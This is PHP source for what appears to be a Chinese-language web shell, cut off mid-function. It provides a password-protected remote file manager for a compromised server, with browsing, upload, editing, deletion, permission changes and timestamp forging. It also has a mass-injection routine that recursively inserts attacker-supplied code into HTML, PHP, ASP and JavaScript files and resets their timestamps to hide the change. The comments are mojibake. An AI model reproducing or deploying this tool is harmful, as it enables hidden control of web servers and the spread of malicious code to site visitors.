1. <?php
  2.  
  3. $password = "admin";//ÉèÖÃÃÜÂë
  4.  
  5. error_reporting(E_ERROR);
  6. header("content-Type: text/html; charset=gb2312");
  7. set_time_limit(0);
  8.  
  9. function Root_GP(&$array)
  10. {
  11. while(list($key,$var) = each($array))
  12. {
  13. if((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv')
  14. {
  15. if(is_string($var)) $array[$key] = stripslashes($var);
  16. if(is_array($var)) $array[$key] = Root_GP($var);
  17. }
  18. }
  19. return $array;
  20. }
  21.  
  22. function Root_CSS()
  23. {
  24. print<<<END
  25. <style type="text/css">
  26. *{padding:0; margin:0;}
  27. body{background:threedface;font-family:"Verdana", "Tahoma", "ËÎÌå",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
  28. a{color:#000000;text-decoration:none;}
  29. a:hover{background:#BBBBBB;}
  30. table{color:#000000;font-family:"Verdana", "Tahoma", "ËÎÌå",sans-serif;font-size:13px;border:1px solid #999999;}
  31. td{background:#F9F6F4;}
  32. .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
  33. .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
  34. .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
  35. </style>\n
  36. END;
  37. return false;
  38. }
  39.  
  40. //ÎÄŒþ¹ÜÀí
  41. class packdir
  42. {
  43. var $out = '';
  44. var $datasec = array();
  45. var $ctrl_dir = array();
  46. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  47. var $old_offset = 0;
  48. function packdir($array)
  49. {
  50. if(@function_exists('gzcompress'))
  51. {
  52. for($n = 0;$n < count($array);$n++)
  53. {
  54. $array[$n] = urldecode($array[$n]);
  55. $fp = @fopen($array[$n], 'r');
  56. $filecode = @fread($fp, @filesize($array[$n]));
  57. @fclose($fp);
  58. $this -> filezip($filecode,basename($array[$n]));
  59. }
  60. @closedir($zhizhen);
  61. $this->out = $this->packfile();
  62. return true;
  63. }
  64. return false;
  65. }
  66. function at($atunix = 0)
  67. {
  68. $unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
  69. if ($unixarr['year'] < 1980)
  70. {
  71. $unixarr['year'] = 1980;
  72. $unixarr['mon'] = 1;
  73. $unixarr['mday'] = 1;
  74. $unixarr['hours'] = 0;
  75. $unixarr['minutes'] = 0;
  76. $unixarr['seconds'] = 0;
  77. }
  78. return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
  79. }
  80. function filezip($data, $name, $time = 0)
  81. {
  82. $name = str_replace('\\', '/', $name);
  83. $dtime = dechex($this->at($time));
  84. $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
  85. eval('$hexdtime = "' . $hexdtime . '";');
  86. $fr = "\x50\x4b\x03\x04";
  87. $fr .= "\x14\x00";
  88. $fr .= "\x00\x00";
  89. $fr .= "\x08\x00";
  90. $fr .= $hexdtime;
  91. $unc_len = strlen($data);
  92. $crc = crc32($data);
  93. $zdata = gzcompress($data);
  94. $c_len = strlen($zdata);
  95. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  96. $fr .= pack('V', $crc);
  97. $fr .= pack('V', $c_len);
  98. $fr .= pack('V', $unc_len);
  99. $fr .= pack('v', strlen($name));
  100. $fr .= pack('v', 0);
  101. $fr .= $name;
  102. $fr .= $zdata;
  103. $fr .= pack('V', $crc);
  104. $fr .= pack('V', $c_len);
  105. $fr .= pack('V', $unc_len);
  106. $this -> datasec[] = $fr;
  107. $new_offset = strlen(implode('', $this->datasec));
  108. $cdrec = "\x50\x4b\x01\x02";
  109. $cdrec .= "\x00\x00";
  110. $cdrec .= "\x14\x00";
  111. $cdrec .= "\x00\x00";
  112. $cdrec .= "\x08\x00";
  113. $cdrec .= $hexdtime;
  114. $cdrec .= pack('V', $crc);
  115. $cdrec .= pack('V', $c_len);
  116. $cdrec .= pack('V', $unc_len);
  117. $cdrec .= pack('v', strlen($name) );
  118. $cdrec .= pack('v', 0 );
  119. $cdrec .= pack('v', 0 );
  120. $cdrec .= pack('v', 0 );
  121. $cdrec .= pack('v', 0 );
  122. $cdrec .= pack('V', 32 );
  123. $cdrec .= pack('V', $this -> old_offset );
  124. $this -> old_offset = $new_offset;
  125. $cdrec .= $name;
  126. $this -> ctrl_dir[] = $cdrec;
  127. }
  128. function packfile()
  129. {
  130. $data = implode('', $this -> datasec);
  131. $ctrldir = implode('', $this -> ctrl_dir);
  132. return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00";
  133. }
  134. }
  135.  
  136. function File_Str($string)
  137. {
  138. return str_replace('//','/',str_replace('\\','/',$string));
  139. }
  140.  
  141. function File_Size($size)
  142. {
  143. if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
  144. elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
  145. elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
  146. else $size = $size . ' B';
  147. return $size;
  148. }
  149.  
  150. function File_Mode()
  151. {
  152. $RealPath = realpath('./');
  153. $SelfPath = $_SERVER['PHP_SELF'];
  154. $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
  155. return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
  156. }
  157.  
  158. function File_Read($filename)
  159. {
  160. $handle = @fopen($filename,"rb");
  161. $filecode = @fread($handle,@filesize($filename));
  162. @fclose($handle);
  163. return $filecode;
  164. }
  165.  
  166. function File_Write($filename,$filecode,$filemode)
  167. {
  168. $key = true;
  169. $handle = @fopen($filename,$filemode);
  170. if(!@fwrite($handle,$filecode))
  171. {
  172. @chmod($filename,0666);
  173. $key = @fwrite($handle,$filecode) ? true : false;
  174. }
  175. @fclose($handle);
  176. return $key;
  177. }
  178.  
  179. function File_Up($filea,$fileb)
  180. {
  181. $key = @copy($filea,$fileb) ? true : false;
  182. if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false;
  183. return $key;
  184. }
  185.  
  186. function File_Down($filename)
  187. {
  188. if(!file_exists($filename)) return false;
  189. $filedown = basename($filename);
  190. $array = explode('.', $filedown);
  191. $arrayend = array_pop($array);
  192. header('Content-type: application/x-'.$arrayend);
  193. header('Content-Disposition: attachment; filename='.$filedown);
  194. header('Content-Length: '.filesize($filename));
  195. @readfile($filename);
  196. exit;
  197. }
  198.  
  199. function File_Deltree($deldir)
  200. {
  201. if(($mydir = @opendir($deldir)) == NULL) return false;
  202. while(false !== ($file = @readdir($mydir)))
  203. {
  204. $name = File_Str($deldir.'/'.$file);
  205. if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);}
  206. if(is_file($name)){@chmod($name,0777);@unlink($name);}
  207. }
  208. @closedir($mydir);
  209. @chmod($deldir,0777);
  210. return @rmdir($deldir) ? true : false;
  211. }
  212.  
  213. function File_Act($array,$actall,$inver)
  214. {
  215. if(($count = count($array)) == 0) return 'ÇëÑ¡ÔñÎÄŒþ';
  216. if($actall == 'e')
  217. {
  218. $zip = new packdir;
  219. if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;}
  220. return 'Žò°üËùÑ¡ÎÄŒþʧ°Ü';
  221. }
  222. $i = 0;
  223. while($i < $count)
  224. {
  225. $array[$i] = urldecode($array[$i]);
  226. switch($actall)
  227. {
  228. case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '·Ÿ¶ŽíÎó'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = 'žŽÖƵœ'.$inver.'Ä¿ÂŒ'; break;
  229. case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'ÉŸ³ý'; break;
  230. case "c" : if(!eregi("^[0-7]{4}$",$inver)) return 'ÊôÐÔÖµŽíÎó'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = 'ÊôÐÔÐÞžÄΪ'.$inver; break;
  231. case "d" : @touch($array[$i],strtotime($inver)); $msg = 'ÐÞžÄʱŒäΪ'.$inver; break;
  232. }
  233. $i++;
  234. }
  235. return 'ËùÑ¡ÎÄŒþ'.$msg.'Íê±Ï';
  236. }
  237.  
  238. function File_Edit($filepath,$filename,$dim = '')
  239. {
  240. $THIS_DIR = urlencode($filepath);
  241. $THIS_FILE = File_Str($filepath.'/'.$filename);
  242. if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));}
  243. else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';}
  244. print<<<END
  245. <script language="javascript">
  246. var NS4 = (document.layers);
  247. var IE4 = (document.all);
  248. var win = this;
  249. var n = 0;
  250. function search(str){
  251. var txt, i, found;
  252. if(str == "")return false;
  253. if(NS4){
  254. if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
  255. if(n == 0) alert(str + " ... Not-Find")
  256. }
  257. if(IE4){
  258. txt = win.document.body.createTextRange();
  259. for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
  260. txt.moveStart("character", 1);
  261. txt.moveEnd("textedit")
  262. }
  263. if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
  264. else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
  265. }
  266. return false
  267. }
  268. function CheckDate(){
  269. var re = document.getElementById('mtime').value;
  270. var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/;
  271. var r = re.match(reg);
  272. if(r==null){alert('ÈÕÆÚžñÊœ²»ÕýÈ·!žñÊœ:yyyy-mm-dd hh:mm:ss');return false;}
  273. else{document.getElementById('editor').submit();}
  274. }
  275. </script>
  276. <div class="actall">²éÕÒÄÚÈÝ: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
  277. <input type="button" value="²éÕÒ" onclick="search(searchs.value)"></div>
  278. <form method="POST" id="editor" action="?s=a&p={$THIS_DIR}">
  279. <div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div>
  280. <div class="actall"><textarea name="pfc" id style="width:750px;height:380px;">{$FILE_CODE}</textarea></div>
  281. <div class="actall">ÎÄŒþÐÞžÄʱŒä <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div>
  282. <div class="actall"><input type="button" value="±£Žæ" onclick="CheckDate();" style="width:80px;">
  283. <input type="button" value="·µ»Ø" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
  284. </form>
  285. END;
  286. }
  287.  
  288. function File_Soup($p)
  289. {
  290. $THIS_DIR = urlencode($p);
  291. $UP_SIZE = get_cfg_var('upload_max_filesize');
  292. $MSG_BOX = 'µ¥žöžœŒþÔÊÐíŽóС:'.$UP_SIZE.', žÄÃûžñÊœ(new.php),ÈçΪ¿Õ,Ôò±£³ÖÔ­ÎÄŒþÃû.';
  293. if(!empty($_POST['updir']))
  294. {
  295. if(count($_FILES['soup']) >= 1)
  296. {
  297. $i = 0;
  298. foreach ($_FILES['soup']['error'] as $key => $error)
  299. {
  300. if ($error == UPLOAD_ERR_OK)
  301. {
  302. $souptmp = $_FILES['soup']['tmp_name'][$key];
  303. if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key];
  304. $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'ÉÏŽ«³É¹Š' : $soupname.'ÉÏŽ«Ê§°Ü';
  305. }
  306. $i++;
  307. }
  308. }
  309. else
  310. {
  311. $MSG_BOX = 'ÇëÑ¡ÔñÎÄŒþ';
  312. }
  313. }
  314. print<<<END
  315. <div class="msgbox">{$MSG_BOX}</div>
  316. <form method="POST" id="editor" action="?s=q&p={$THIS_DIR}" enctype="multipart/form-data">
  317. <div class="actall">ÉÏŽ«µœÄ¿ÂŒ: <input type="text" name="updir" value="{$p}" style="width:531px;height:22px;"></div>
  318. <div class="actall">žœŒþ1 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[0] </div>
  319. <div class="actall">žœŒþ2 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[1] </div>
  320. <div class="actall">žœŒþ3 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[2] </div>
  321. <div class="actall">žœŒþ4 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[3] </div>
  322. <div class="actall">žœŒþ5 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[4] </div>
  323. <div class="actall">žœŒþ6 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[5] </div>
  324. <div class="actall">žœŒþ7 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[6] </div>
  325. <div class="actall">žœŒþ8 <input type="file" name="soup[]" style="width:300px;height:22px;"> žÄÃû <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[7] </div>
  326. <div class="actall"><input type="submit" value="ÉÏŽ«" style="width:80px;"> <input type="button" value="·µ»Ø" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
  327. </form>
  328. END;
  329. }
  330.  
  331. function File_a($p)
  332. {
  333. if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/';
  334. $MSG_BOX = 'µÈŽýÏûÏ¢¶ÓÁÐ';
  335. $UP_DIR = urlencode(File_Str($p.'/..'));
  336. $REAL_DIR = File_Str(realpath($p));
  337. $FILE_DIR = File_Str(dirname(__FILE__));
  338. $ROOT_DIR = File_Mode();
  339. $THIS_DIR = urlencode(File_Str($REAL_DIR));
  340. $NUM_D = 0;
  341. $NUM_F = 0;
  342. if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '±àŒ­ÎÄŒþ '.$_POST['pfn'].' ³É¹Š' : '±àŒ­ÎÄŒþ '.$_POST['pfn'].' ʧ°Ü';@touch($_POST['pfn'],$intime);}
  343. if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? 'ÉÏŽ«ÎÄŒþ '.$upfilename.' ³É¹Š' : 'ÉÏŽ«ÎÄŒþ '.$upfilename.' ʧ°Ü';}
  344. if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);}
  345. if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = 'ÊôÐÔÖµŽíÎó'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? 'ÐÞžÄ '.$modfile.' ÊôÐÔΪ '.$_GET['md'].' ³É¹Š' : 'ÐÞžÄ '.$modfile.' ÊôÐÔΪ '.$_GET['md'].' ʧ°Ü';}
  346. if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? 'žÄÃû '.$_GET['mn'].' Ϊ '.$_GET['rn'].' ³É¹Š' : 'žÄÃû '.$_GET['mn'].' Ϊ '.$_GET['rn'].' ʧ°Ü';}
  347. if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? 'ŽŽœšÄ¿ÂŒ '.$_GET['dn'].' ³É¹Š' : 'ŽŽœšÄ¿ÂŒ '.$_GET['dn'].' ʧ°Ü';}
  348. if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? 'ÉŸ³ýÄ¿ÂŒ '.$_GET['dd'].' ³É¹Š' : 'ÉŸ³ýÄ¿ÂŒ '.$_GET['dd'].' ʧ°Ü';}
  349. if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = 'ÏÂÔØÎÄŒþ²»ŽæÔÚ';}
  350. Root_CSS();
  351. print<<<END
  352. <script type="text/javascript">
  353. function Inputok(msg,gourl)
  354. {
  355. smsg = "µ±Ç°ÎÄŒþ:[" + msg + "]";
  356. re = prompt(smsg,unescape(msg));
  357. if(re)
  358. {
  359. var url = gourl + escape(re);
  360. window.location = url;
  361. }
  362. }
  363. function Delok(msg,gourl)
  364. {
  365. smsg = "È·¶šÒªÉŸ³ý[" + unescape(msg) + "]Âð?";
  366. if(confirm(smsg))
  367. {
  368. if(gourl == 'b')
  369. {
  370. document.getElementById('actall').value = escape(gourl);
  371. document.getElementById('fileall').submit();
  372. }
  373. else window.location = gourl;
  374. }
  375. }
  376. function CheckDate(msg,gourl)
  377. {
  378. smsg = "µ±Ç°ÎÄŒþʱŒä:[" + msg + "]";
  379. re = prompt(smsg,msg);
  380. if(re)
  381. {
  382. var url = gourl + re;
  383. var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/;
  384. var r = re.match(reg);
  385. if(r==null){alert('ÈÕÆÚžñÊœ²»ÕýÈ·!žñÊœ:yyyy-mm-dd hh:mm:ss');return false;}
  386. else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
  387. }
  388. }
  389. function CheckAll(form)
  390. {
  391. for(var i=0;i<form.elements.length;i++)
  392. {
  393. var e = form.elements[i];
  394. if (e.name != 'chkall')
  395. e.checked = form.chkall.checked;
  396. }
  397. }
  398. function SubmitUrl(msg,txt,actid)
  399. {
  400. re = prompt(msg,unescape(txt));
  401. if(re)
  402. {
  403. document.getElementById('actall').value = actid;
  404. document.getElementById('inver').value = escape(re);
  405. document.getElementById('fileall').submit();
  406. }
  407. }
  408. </script>
  409. <div id="msgbox" class="msgbox">{$MSG_BOX}</div>
  410. <div class="actall" style="text-align:center;padding:3px;">
  411. <form method="GET"><input type="hidden" id="s" name="s" value="a">
  412. <input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
  413. <select onchange="location.href='?s=a&p='+options[selectedIndex].value">
  414. <option>---ÌØÊâÄ¿ÂŒ---</option>
  415. <option value="{$ROOT_DIR}"> ÍøÕŸžùÄ¿ÂŒ </option>
  416. <option value="{$FILE_DIR}"> ±Ÿ³ÌÐòÄ¿ÂŒ </option>
  417. <option value="C:/Documents and Settings/All Users/¡ž¿ªÊŒ¡¹²Ëµ¥/³ÌÐò/Æô¶¯"> ËùÓÐ×éÆô¶¯Ïî </option>
  418. <option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup"> Ó¢ÎÄÆô¶¯Ïî </option>
  419. <option value="C:/RECYCLER"> RECYCLER </option>
  420. <option value="C:/Program Files"> Program Files </option>
  421. </select> <input type="submit" value="תµœ" style="width:50px;"></form>
  422. <div style="margin-top:3px;"></div>
  423. <form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
  424. <input type="button" value="ÐÂœšÎÄŒþ" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
  425. <input type="button" value="ÐÂœšÄ¿ÂŒ" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
  426. <input type="button" value="ÅúÁ¿ÉÏŽ«" onclick="window.location='?s=q&p={$REAL_DIR}';">
  427. <input type="file" name="ufp" style="width:300px;height:22px;">
  428. <input type="text" name="ufn" style="width:121px;height:22px;">
  429. <input type="submit" value="ÉÏŽ«" style="width:50px;">
  430. </form>
  431. </div>
  432. <form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
  433. <table border="0"><tr>
  434. <td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>ÉÏŒ¶Ä¿ÂŒ</b></a> </td>
  435. <td class="toptd" style="width:80px;"> ²Ù×÷ </td>
  436. <td class="toptd" style="width:48px;"> ÊôÐÔ </td>
  437. <td class="toptd" style="width:173px;"> ÐÞžÄʱŒä </td>
  438. <td class="toptd" style="width:75px;"> ŽóС </td></tr>
  439. END;
  440. if(($h_d = @opendir($p)) == NULL) return false;
  441. while(false !== ($Filename = @readdir($h_d)))
  442. {
  443. if($Filename == '.' or $Filename == '..') continue;
  444. $Filepath = File_Str($REAL_DIR.'/'.$Filename);
  445. if(is_dir($Filepath))
  446. {
  447. $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
  448. $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
  449. $Filepath = urlencode($Filepath);
  450. echo "\r\n".' <tr><td> <a href="?s=a&p='.$Filepath.'"><font face="wingdings" size="3">0</font><b> '.$Filename.' </b></a> </td> ';
  451. $Filename = urlencode($Filename);
  452. echo ' <td> <a href="#" onclick="Delok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&dd='.$Filename.'\');return false;"> ÉŸ³ý </a> ';
  453. echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> žÄÃû </a> </td> ';
  454. echo ' <td> <a href="#" onclick="Inputok(\''.$Fileperm.'\',\'?s=a&p='.$THIS_DIR.'&mk='.$Filename.'&md=\');return false;"> '.$Fileperm.' </a> </td> ';
  455. echo ' <td>'.$Filetime.'</td> ';
  456. echo ' <td> </td> </tr>'."\r\n";
  457. $NUM_D++;
  458. }
  459. }
  460. @rewinddir($h_d);
  461. while(false !== ($Filename = @readdir($h_d)))
  462. {
  463. if($Filename == '.' or $Filename == '..') continue;
  464. $Filepath = File_Str($REAL_DIR.'/'.$Filename);
  465. if(!is_dir($Filepath))
  466. {
  467. $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath);
  468. $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
  469. $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
  470. $Filesize = File_Size(@filesize($Filepath));
  471. if($Filepath == File_Str(__FILE__)) $fname = '<font color="#8B0000">'.$Filename.'</font>'; else $fname = $Filename;
  472. echo "\r\n".' <tr><td> <input type="checkbox" name="files[]" value="'.urlencode($Filepath).'"><a target="_blank" href="'.$Fileurls.'">'.$fname.'</a> </td>';
  473. $Filepath = urlencode($Filepath);
  474. $Filename = urlencode($Filename);
  475. echo ' <td> <a href="?s=p&fp='.$THIS_DIR.'&fn='.$Filename.'"> ±àŒ­ </a> ';
  476. echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> žÄÃû </a> </td>';
  477. echo ' <td>'.$Fileperm.'</td> ';
  478. echo ' <td>'.$Filetime.'</td> ';
  479. echo ' <td align="right"> <a href="?s=a&df='.$Filepath.'">'.$Filesize.'</a> </td></tr> '."\r\n";
  480. $NUM_F++;
  481. }
  482. }
  483. @closedir($h_d);
  484. if(!$Filetime) $Filetime = '2009-01-01 00:00:00';
  485. print<<<END
  486. </table>
  487. <div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
  488. <input type="hidden" id="inver" name="inver" value="undefined">
  489. <input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
  490. <input type="button" value="žŽÖÆ" onclick="SubmitUrl('žŽÖÆËùÑ¡ÎÄŒþµœÂ·Ÿ¶: ','{$THIS_DIR}','a');return false;">
  491. <input type="button" value="ÉŸ³ý" onclick="Delok('ËùÑ¡ÎÄŒþ','b');return false;">
  492. <input type="button" value="ÊôÐÔ" onclick="SubmitUrl('ÐÞžÄËùÑ¡ÎÄŒþÊôÐÔֵΪ: ','0666','c');return false;">
  493. <input type="button" value="ʱŒä" onclick="CheckDate('{$Filetime}','d');return false;">
  494. <input type="button" value="Žò°ü" onclick="SubmitUrl('Žò°ü²¢ÏÂÔØËùÑ¡ÎÄŒþÏÂÔØÃûΪ: ','spider.tar.gz','e');return false;">
  495. Ä¿ÂŒ({$NUM_D}) / ÎÄŒþ({$NUM_F})</div>
  496. </form>
  497. END;
  498. return true;
  499. }
  500.  
  501. //ÅúÁ¿¹ÒÂí
  502. function Guama_Pass($length)
  503. {
  504. $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  505. $str = "";
  506. while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1);
  507. return $str;
  508. }
  509.  
  510. function Guama_Make($codea,$codeb,$codec)
  511. {
  512. return str_replace($codea,Guama_Pass($codeb),$codec);
  513. }
  514.  
  515. function Guama_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb)
  516. {
  517. if(($h_d = @opendir($gp)) == NULL) return false;
  518. if($gm > 12) return false;
  519. while(false !== ($Filename = @readdir($h_d)))
  520. {
  521. if($Filename == '.' || $Filename == '..') continue;
  522. if($gl != ''){if(eregi($gl,$Filename)) continue;}
  523. $Filepath = File_Str($gp.'/'.$Filename);
  524. if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb);
  525. if(eregi($gt,$Filename))
  526. {
  527. $fc = File_Read($Filepath);
  528. if(($gk != '') && (stristr($fc,chop($gk)))) continue;
  529. if(($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf,$gm,$gc); else $gcm = $gc;
  530. if($gd) $ftime = @filemtime($Filepath);
  531. if($gi == 'a'){if(!stristr($fc,'</head>')) continue; $fcm = str_replace('</head>',"\r\n".$gcm."\r\n".'</head>',$fc); $fcm = str_replace('</HEAD>',"\r\n".$gcm."\r\n".'</HEAD>',$fcm);}
  532. if($gi == 'b') $fcm = $gcm."\r\n".$fc;
  533. if($gi == 'c') $fcm = $fc."\r\n".$gcm;
  534. echo File_Write($Filepath,$fcm,'wb') ? '<font color="#006600">³É¹Š:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">ʧ°Ü:</font>'.$Filepath.' <br>'."\r\n";
  535. if($gd) @touch($Filepath,$ftime);
  536. ob_flush();
  537. flush();
  538. }
  539. }
  540. @closedir($h_d);
  541. return true;
  542. }
  543.  
  544. function Guama_b()
  545. {
  546. if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc'])))
  547. {
  548. echo '<div class="actall">';
  549. $_POST['gt'] = str_replace('.','\\.',$_POST['gt']);
  550. if($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.','\\.',$_POST['gl']); else $_POST['gl'] = '';
  551. if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]'))
  552. {
  553. $temp = explode('[-',$_POST['gc']);
  554. $gk = $temp[0];
  555. preg_match_all("/\[\-([^~]*?)\-\]/i",$_POST['gc'],$nc);
  556. if(!eregi("^[0-9]{1,2}$",$nc[1][0])){echo '<a href="#" onclick="history.back();">Òì³£ÖÕÖ¹</a>'; return false;}
  557. $gm = (int)$nc[1][0];
  558. $gf = $nc[0][0];
  559. }
  560. else
  561. {
  562. $gk = $_POST['gc'];
  563. $gm = 0;
  564. $gf = '';
  565. }
  566. if(!isset($_POST['gx'])) $gk = '';
  567. $gd = isset($_POST['gd']) ? true : false;
  568. $gb = ($_POST['gb'] == 'a') ? true : false;
  569. echo Guama_Auto($_POST['gp'],$_POST['gt'],$_POST['gl'],$_POST['gc'],$gm,$gf,$_POST['gi'],$gk,$gd,$gb) ? '<a href="#" onclick="history.back();">¹ÒÂíÍê±Ï</a>' : '<a href="#" onclick="history.back();">Òì³£ÖÕÖ¹</a>';
  570. echo '</div>';
  571. return false;
  572. }
  573. $FILE_DIR = File_Str(dirname(__FILE__));
  574. $ROOT_DIR = File_Mode();
  575. print<<<END
  576. <script language="javascript">
  577. function Fulll(i)
  578. {
  579. if(i==0) return false;
  580. Str = new Array(5);
  581. if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];}
  582. else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];}
  583. return true;
  584. }
  585. function autorun()
  586. {
  587. if(document.getElementById('gp').value == ''){alert('¹ÒÂí·Ÿ¶²»ÄÜΪ¿Õ');return false;}
